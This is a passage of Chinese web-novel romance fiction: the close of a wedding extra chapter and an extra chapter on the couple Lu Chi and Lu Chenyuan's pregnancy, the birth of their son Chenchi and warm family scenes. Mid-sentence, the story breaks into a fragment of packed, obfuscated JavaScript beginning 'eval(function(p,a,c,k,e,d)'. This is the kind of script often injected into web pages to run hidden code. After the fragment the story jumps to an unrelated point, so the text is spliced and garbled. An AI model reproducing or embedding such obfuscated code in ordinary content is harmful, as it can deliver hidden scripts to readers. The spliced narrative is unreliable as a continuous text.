“都和你在一起。” 鹿炽看着他。 眼眶有点酸。 但他笑了。 “好。”他说,“我记住了。” 阳光很好。 他们躺在床上,看着彼此。 很久很久。 门外传来敲门声。 “小炽?沉远?起床吃早饭了!”是鹿妈妈的声音。 鹿炽愣了一下,然后笑了。 “妈来了。” 陆沉远也笑了。 “看来不能赖床了。” 两人起床,洗漱。 打开门,鹿妈妈站在门口,笑呵呵的。 “新婚快乐!快来吃饭,我做了你们爱吃的。” 鹿炽看着妈妈,心里暖暖的。 “谢谢妈。” 鹿妈妈拍拍他的脸。 “傻孩子,谢什么。” 饭桌上很热闹。 陆爸爸陆妈妈也来了,鹿爸爸也在。 一大家子人,围坐在一起。 周浩发来消息。 【浩】:远哥!鹿炽!新婚快乐!!!昨晚过得怎么样!!! 鹿炽看着那条消息,脸红了。 陆沉远看了一眼,回复: 【远】:很好。 【浩】:有多好? 【远】:不告诉你。 【浩】:切!!! 鹿炽在旁边笑。 吃完饭,大家散了。 家里又剩下他们两个。 鹿炽坐在沙发上,看着窗外的阳光。 陆沉远走过来,在他旁边坐下。 “想什么呢?” “想……”鹿炽顿了顿,“想以后。” “以后什么?” “以后的日子。”鹿炽说,“和你一起的日子。” 陆沉远握住他的手。 “会很长的。”他说。 鹿炽看着他。 “多长?” “一辈子。”陆沉远说,“不够的话,再加一辈子。” 鹿炽笑了。 他靠在他肩上。 “好。”他说,“那就一辈子。” “再加一辈子。” “一直加。” 陆沉远低头,在他发顶亲了一下。 “好。” 窗外的阳光很好。 他们靠在一起。 很久很久。 【沉炽篇·婚礼番外·完】 50. 新生 十月怀胎这件事,鹿炽以前从来没想过。 结婚第一年,他忙着适应新生活。陆沉远把公司的事处理得差不多了,每天准时下班回家,两个人一起做饭、一起看电视、一起窝在沙发上发呆。 日子过得很慢,也很甜。 第二年春天,鹿炽开始不舒服。 一开始是早上起来恶心,他以为是吃坏东西了,没在意。后来连着几天都这样,吃什么吐什么,整个人瘦了一圈。 陆沉远急得不行,拉着他就往医院跑。 检查结果出来的时候,鹿炽愣住了。 “怀、怀孕?” 医生是个五十多岁的阿姨,笑眯眯地看着他。 “对,恭喜啊,快两个月了。” 鹿炽坐在那儿,脑子一片空白。 他看向陆沉远。 陆沉远也愣住了。 两个人就这么看着对方,谁都没说话。 “怎么?不高兴?”医生问。 “不是……”鹿炽回过神,“就是……太突然了。” 医生笑了。 “回去好好养着,前三个月注意点。” 从医院出来,鹿炽还晕晕乎乎的。 他坐在副驾驶上,看着窗外,脑子里乱成一团。 “陆沉远。” “嗯。” “我们有孩子了。” 陆沉远握着方向盘的手紧了一下。 “……嗯。” 鹿炽转头看他。 陆沉远的侧脸很平静,但他看见他的耳尖红了。 鹿炽忽然笑了。 “你紧张什么?” “没紧张。”陆沉远说,“就是……有点懵。” 鹿炽看着他。 “我也是。” 车开到家楼下,陆沉远停好车,没急着下去。 他转头看着鹿炽。 “鹿炽。” “嗯。” “你……”他顿了顿,“你愿意生吗?” 鹿炽愣了一下。 “什么意思?” “就是……”陆沉远斟酌着词句,“如果你不愿意,我们可以……” 鹿炽打断他。 “陆沉远。” “嗯。” “我愿意。” 陆沉远看着他。 鹿炽的眼睛亮亮的。 “这是我们的孩子。”他说,“我为什么不生?” 陆沉远看了他很久。 然后他伸手,把他拉进怀里。 抱得很紧。 “谢谢你。”他在他耳边说。 鹿炽笑了。 “傻子。”他说,“谢什么。” 知道怀孕的消息后,两家都炸了。 鹿妈妈当天就赶过来,手里拎着大包小包。 “炽炽!妈给你带了补品!还有这个,孕妇吃的维生素!还有这个,钙片……” 鹿炽看着那堆东西,哭笑不得。 “妈,我才两个月……” “两个月更要注意!”鹿妈妈一脸认真,“前三个月最重要!” 陆妈妈也来了,和鹿妈妈一起研究孕妇食谱。 两个妈妈凑在一起,叽叽喳喳讨论着,什么能吃什么不能吃,什么月份该补什么,说得头头是道。 陆沉远坐在旁边,插不上话。 鹿之言和陆知岩也来了。 鹿之言坐在鹿炽旁边,看着他。 “感觉怎么样?” “还好。”鹿炽说,“就是早上有点恶心。” 鹿之言点点头。 “正常。”他说,“我查过资料,前三个月都这样。” 鹿炽看着他。 “哥,你怎么查这个?” 鹿之言顿了一下。 “随便看看。” 陆知岩在旁边笑了。 “他紧张你。”他说,“听说你怀孕,连夜查资料。” 鹿之言瞪他一眼。 “闭嘴。” 陆知岩乖乖闭嘴,但嘴角弯着。 鹿炽看着他们,心里暖暖的。 真好。 大家都在。 接下来的日子,鹿炽过上了国宝级的生活。 陆沉远不许他干任何活。做饭?他来。打扫?他做。买东西?他跑腿。 鹿炽每天的任务就是吃饭、睡觉、散步。 “陆沉远,”他抗议,“我还没那么娇气。” “不行。”陆沉远说,“前三个月,必须小心。” 鹿炽说不过他,只能乖乖听话。 但心里是甜的。 怀孕四个月的时候,第一次产检。 医生做B超,指着屏幕说:“看,这是头,这是手,这是脚……” 鹿炽看着那个模糊的小影子,眼眶有点酸。 那是他们的孩子。 在他肚子里,一点点长大。 陆沉远站在旁边,一直盯着屏幕看。 “医生,”他开口,“孩子健康吗?” “健康。”医生说,“发育得很好。” 陆沉远松了口气。 “那就好。” 医生看看他,又看看鹿炽。 “第一次当爸爸吧?” 两人都愣了一下。 然后笑了。 “嗯。”陆沉远说,“第一次。” 医生也笑了。 “好好照顾你爱人,孕夫很辛苦的。” 陆沉远点头。 “我知道。” 回家的路上,鹿炽一直摸着自己的肚子。 “陆沉远。” “嗯。” “你说,是男孩还是女孩?” 陆沉远想了想。 “都好。” “那你希望是男孩还是女孩?” 陆沉远看着他。 “我希望……”他顿了顿,“像你。” 鹿炽愣了一下。 “像我?” “嗯。”陆沉远说,“像你一样,温柔,善良,好看。” 鹿炽脸红了。 “你又胡说……” “真话。”陆沉远说,“像你最好。” 鹿炽低下头,但嘴角弯着。 怀孕六个月的时候,肚子已经很明显了。 鹿炽走路开始有点笨拙,晚上睡觉也睡不好,总是翻来覆去。 陆沉远每天睡前都会帮他揉脚,揉腿,按按腰。 “舒服吗?” “嗯……”鹿炽眯着眼,“舒服。” 陆沉远笑了。 “那我每天都给你揉。” 鹿炽睁开眼,看着他。 “陆沉远。” “嗯。” “你累不累?” “不累。”陆沉远说,“给你做事,不累。” 鹿炽看着他。 眼眶有点酸。 “傻子。”他轻声说。 陆沉远低头,在他额头上亲了一下。 “你的傻子。” 鹿炽笑了。 怀孕八个月的时候,肚子更大了。 鹿炽走路得扶着腰,坐久了也不舒服,躺久了也不行。 陆沉远急得团团转,恨不得替他难受。 “要不我们提前住院?”他问。 “不用。”鹿炽说,“还有一个月呢。” “可是你难受……” “生孩子都这样。”鹿炽看着他,“你别紧张。” 陆沉远怎么可能不紧张。 他每天晚上都睡不好,怕鹿炽半夜有事。白天上班也心神不宁,总想着打电话问情况。 鹿炽看他那个样子,又好笑又心疼。 “陆沉远,”他说,“你放松点。” “放松不了。” “那你想怎么样?” 陆沉远想了想。 “想替你生。” 鹿炽愣了一下。 然后笑了。 “傻子。” 陆沉远没说话。 但他还是紧张。 终于,预产期到了。 那天早上,鹿炽刚吃完早饭,忽然觉得肚子一阵疼。 他愣了一下,没在意。 过了一会儿,又疼了。 “陆沉远。”他叫他。 “嗯?” “我好像……要生了。” 陆沉远手里的杯子掉在地上。 “什么?!” 他冲过来,看着鹿炽。 鹿炽的脸有点白,但还算镇定。 “去医院。”他说。 陆沉远这才反应过来,手忙脚乱地找车钥匙、拿证件、打电话。 一路上,他开得飞快。 鹿炽靠在副驾驶座上,深呼吸。 疼。 一阵一阵的疼。 但他没叫出声。 他怕陆沉远更紧张。 到了医院,直接被推进产房。 陆沉远想跟进去,被护士拦住了。 “家属在外面等。” “我要进去!” “不行,产房不能进。” 陆沉远急了。 “我是他老公!” 护士看他一眼。 “老公也不行。” 门关上了。 陆沉远站在门口,急得团团转。 鹿之言和陆知岩很快赶来了。 “怎么样了?”鹿之言问。 “刚进去。”陆沉远说,“不让进。” 鹿之言拍拍他的肩。 “没事的,小炽很坚强。” 陆沉远点头。 但他还是紧张。 时间一分一秒过去。 产房的门一直关着。 陆沉远在外面走来走去,走个不停。 “你能不能坐下?”陆知岩说。 “坐不住。” 陆知岩叹了口气。 他想起当年等鹿之言手术的时候,他也是这样。 “行了。”他说,“过来坐会儿,别把自己累垮了。” 陆沉远不听。 他就站在那儿,盯着那扇门。 不知道过了多久。 可能是一个小时,可能是两个小时。 门终于开了。 护士推着病床出来。 鹿炽躺在上面,脸色苍白,满头是汗,但眼睛亮亮的。 旁边,有一个小小的包裹。 陆沉远冲过去。 “鹿炽!” 鹿炽看着他,笑了。 “没事。”他说,“生完了。” 陆沉远低头看他。 鹿炽的眼睛里有疲惫,但更多的是温柔。 他伸手,握住陆沉远的手。 “看看儿子。”他说。 陆沉远这才看向旁边那个小包裹。 小小的,皱皱的,闭着眼睛。 那么小。 小得让人心疼。 “他……”陆沉远开口,声音有点抖,“是我们的?” 鹿炽笑了。 “废话。”他说,“不是我们的,是谁的?” 陆沉远看着他,又看看那个小婴儿。 眼眶红了。 他低头,在鹿炽额头上亲了一下。 “谢谢你。”他说,“鹿炽,谢谢你。” 鹿炽看着他。 笑了。 “傻子。”他轻声说,“谢什么。” 病房里很安静。 鹿炽躺在病床上,怀里抱着那个小小的人儿。 陆沉远坐在旁边,一直看着他们。 “陆沉远。”鹿炽叫他。 “嗯。” “你给他起个名字吧。” 陆沉远愣了一下。 “我起?” “嗯。”鹿炽说,“你是爸爸。” 陆沉远看着那个小婴儿。 小小的,软软的,睡得正香。 他想了很多名字。 最后,他开口。 “陆沉炽。” 鹿炽愣住了。 “什么?” “陆沉炽。”陆沉远说,“用我们的名字。” 他看着鹿炽。 “他是我和你的孩子。” “叫这个名字,最合适。” 鹿炽看着他。 眼眶红了。 他低头,看着怀里的小人儿。 “陆沉炽。”他轻声念着。 小婴儿动了动,没醒。 鹿炽笑了。 “好。”他说,“就叫陆沉炽。” 陆沉远伸手,轻轻碰了碰小婴儿的脸。 软得不可思议。 “沉炽。”他叫他,“小名就叫沉沉吧。” 鹿炽点头。 “沉沉。”他也叫了一声。 小婴儿的嘴动了动,像是在梦里笑了一下。 鹿炽和陆沉远对视一眼。 都笑了。 门开了,一堆人涌进来。 鹿妈妈第一个冲到床边。 “炽炽!让妈看看!哎呀,瘦了……” 鹿炽笑了。 “妈,我没事。” 鹿妈妈擦着眼泪,又去看小婴儿。 “哎呀,这小家伙,真俊!像炽炽!” 陆妈妈也凑过来。 “眉毛像沉远!你看这眉毛,一模一样!” 两个妈妈围着小婴儿,叽叽喳喳讨论着。 鹿爸爸和陆爸爸站在后面,笑呵呵地看着。 鹿之言走到床边,看着鹿炽。 “辛苦了。” 鹿炽摇头。 “还好。” 鹿之言点点头。 他看着那个小婴儿。 “沉沉?”他问。 “嗯。”鹿炽说,“陆沉炽,小名沉沉。” 鹿之言念了一遍。 “好名字。” 陆知岩凑过来。 “让我看看我侄子!” 他看了一眼,愣了一下。 “怎么这么小?” 鹿炽笑了。 “刚生下来都这样。” 陆知岩点点头。 他看着小婴儿,忽然说:“以后我儿子要和他做兄弟。” 鹿炽愣了一下。 “你儿子?” 陆知岩看向鹿之言。 鹿之言面无表情。 “看什么?” “没什么。”陆知岩笑,“就是想想。” 鹿之言没理他。 但耳尖红了。 周浩和林屿也来了。 周浩一进门就喊:“让我看看我干儿子!” 他冲到床边,看见那个小婴儿,愣住了。 “哇……”他小声说,“好小……” 林屿站在他旁边,也看着。 “可爱。”他说。 周浩点头。 “对对对,可爱!” 他转头看林屿。 “林屿,我们以后也生一个?” 林屿看他一眼。 “你生?” 周浩想了想。 “……还是算了。” 大家都笑了。 病房里热热闹闹的。 鹿炽靠在床头,看着这些人。 都是他爱的人。 都在他身边。 他低头,看着怀里的小沉沉。 小家伙还在睡,不知道外面有多热闹。 鹿炽笑了。 “沉沉。”他轻声说,“你看,这些都是爱你的人。” 小沉沉动了动,往他怀里靠了靠。 鹿炽的心软成一团。 陆沉远在旁边看着他,看着他抱着孩子的样子。 忽然觉得,这辈子值了。 晚上,人都散了。 病房里又安静下来。 鹿炽靠在床头,小沉沉躺在他旁边的小床上。 陆沉远坐在床边,一直看着他们。 “陆沉远。”鹿炽叫他。 “嗯。” “你过来。” 陆沉远走过去,在他旁边坐下。 鹿炽靠在他肩上。 “累吗?”陆沉远问。 “还好。”鹿炽说,“就是有点困。” “那睡吧。” “你呢?” “我看着你们。” 鹿炽抬头看他。 陆沉远的眼睛亮亮的,里面有他,有小床上的小沉沉。 鹿炽笑了。 “好。”他说。 他闭上眼睛。 很快,就睡着了。 陆沉远没动。 他就这样坐着,看着他们。 他的爱人。 他的孩子。 都在他身边。 他想起很多事。 那些年的伤害,那些年的等待,那些年的痛苦。 现在,都过去了。 现在,他有家了。 他低头,在鹿炽额头上亲了一下。 又站起来,在小沉沉额头上亲了一下。 “晚安。”他轻声说。 窗外,月亮很亮。 病房里很安静。 他们都在。 这就够了。 第二天早上,阳光照进来的时候,小沉沉醒了。 他睁开眼,看着陌生的世界。 然后哭了。 哇哇大哭。 鹿炽被吵醒,赶紧抱起他。 “乖,不哭,妈妈在……” 陆沉远在旁边笑了。 “妈妈?” 鹿炽愣了一下,脸红了。 “叫爸爸!” “那他是爸爸,你是什么?” 鹿炽想了想。 “……也是爸爸。” “两个爸爸?” “嗯。”鹿炽说,“两个爸爸。” 陆沉远笑了。 他看着鹿炽抱着孩子,笨拙地哄着。 心里软成一片。 “我来抱抱?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不是那种有意识的笑,是婴儿那种无意识的、天使一样的笑。 鹿之言愣了一下。 “他笑了。” 陆知岩凑过来。 “真的!笑了!他喜欢你呢!” 鹿之言的嘴角弯了一下。 “嗯。”他说。 陆知岩看着他那个样子,心里软软的。 他想,以后他们的孩子,也会这样吧。 鹿之言会这样看着他们的孩子。 会这样轻轻碰孩子的脸。 会这样……笑。 他忽然很期待。 “之言。”他叫他。 “嗯。” “我们也生一个吧。” 鹿之言看他一眼。 “你生?” 陆知岩噎住了。 “……我生不了。” “那说什么。” 陆知岩委屈了。 但他没反驳。 只是看着小沉沉,心里想着,以后一定要有一个。 属于他们的。 鹿炽在旁边看着他们,笑了。 真好。 大家都幸福。 出院那天,天气很好。 鹿炽抱着小沉沉,陆沉远扶着他们,走出医院大门。 门外,两家人都在等着。 鹿妈妈拿着毯子,陆妈妈拿着小帽子。 “快,给孩子盖上,别着凉!” “帽子戴上,太阳有点大!” 一阵忙乱后,小沉沉被裹得严严实实。 只露出一张小脸,眼睛滴溜溜地转。 “真可爱。”周浩在旁边说,“像鹿炽。” 林屿点头。 “嗯。” 周浩看他一眼。 “林屿,以后我们也生一个这么可爱的。” 林屿想了想。 “那得先结婚。” “那我们什么时候结婚?” 林屿看着他。 “你求婚了吗?” 周浩愣住了。 对哦。 还没求婚。 他赶紧拉林屿到旁边,小声说:“那我回去就求!” 林屿没说话。 但嘴角弯着。 这边,鹿炽和陆沉远上了车。 小沉沉躺在安全座椅里,睡着了。 鹿炽看着他,心里软软的。 “陆沉远。” “嗯。” “我们回家了。” 陆沉远握着他的手。 “嗯。”他说,“回家。” 车往家的方向开。 窗外阳光很好。 车里很安静。 只有小沉沉轻轻的呼吸声。 鹿炽靠在陆沉远肩上,看着窗外。 忽然觉得,这辈子,圆满了。 晚上,小沉沉醒了。 饿了,哭了。 鹿炽抱着他喂奶,陆沉远在旁边递毛巾,递水,忙前忙后。 喂完,小沉沉又睡了。 鹿炽把他放回小床里,轻轻拍着。 陆沉远从后面抱住他。 “累吗?” “还好。”鹿炽说,“就是有点腰酸。” “我给你揉揉。” 陆沉远让他坐下,帮他揉腰。 鹿炽闭着眼,舒服得直哼哼。 “陆沉远。” “嗯。” “以后每天都要这样。” “好。” “每天都要抱着我。” “好。” “每天都要亲我。” 陆沉远笑了。 “好。” 他低头,在他脸上亲了一下。 鹿炽睁开眼,看着他。 “还有每天都要亲沉沉。” 陆沉远点头。 “好。” 鹿炽笑了。 他靠在他怀里,看着小床里的小沉沉。 小家伙睡得很香,小嘴一动一动的,不知道在做什么梦。 “陆沉远。” “嗯。” “你说,沉沉以后会是什么样?” 陆沉远想了想。 “不知道。”他说,“但一定会幸福。” 鹿炽看着他。 “为什么?” “因为……”陆沉远说,“他有我们。” 鹿炽愣了一下。 然后笑了。 “对。”他说,“有我们。” 窗外,月亮很圆。 他们站在一起。 看着他们的孩子。 这就是家。 这就是未来。 这就是他们用所有痛苦换来的幸福。 值得。 —— 深夜,鹿炽躺在床上,睡不着。 他侧过身,看着旁边的小床。 小沉沉睡得很香。 他又看向另一边。 陆沉远也睡着了,呼吸平稳。 鹿炽看着他。 看了很久。 然后他笑了。 他轻轻爬起来,走到小床边,看着小沉沉。 “沉沉。”他轻声说,“欢迎来到这个世界。” 小沉沉动了动,没醒。 鹿炽弯下腰,在他额头上亲了一下。 “爸爸妈妈会一直爱你。” “一直。” 他直起身,又看向陆沉远。 陆沉远还在睡。 鹿炽走过去,在他额头上也亲了一下。 “也爱你。”他轻声说,“一直。” 他躺回去,靠进陆沉远怀里。 陆沉远在睡梦中动了动,把他搂紧。 鹿炽闭上眼睛。 嘴角弯着。 今晚的梦,一定会很甜。 —— 第二天早上,阳光照进来。 小沉沉醒了。 他睁开眼,看着陌生的世界。 然后他看见了两个人。 两个看着他的人。 都笑着。 眼睛都亮亮的。 小沉沉眨了眨眼。 然后他笑了。 婴儿那种无意识的、天使一样的笑。 鹿炽和陆沉远对视一眼。 都笑了。 “早上好,沉沉。”鹿炽说。 “早上好。”陆沉远说。 小沉沉看着他们。 继续笑。 他们在一起。 这就是最好的事。 —— 【番外·完】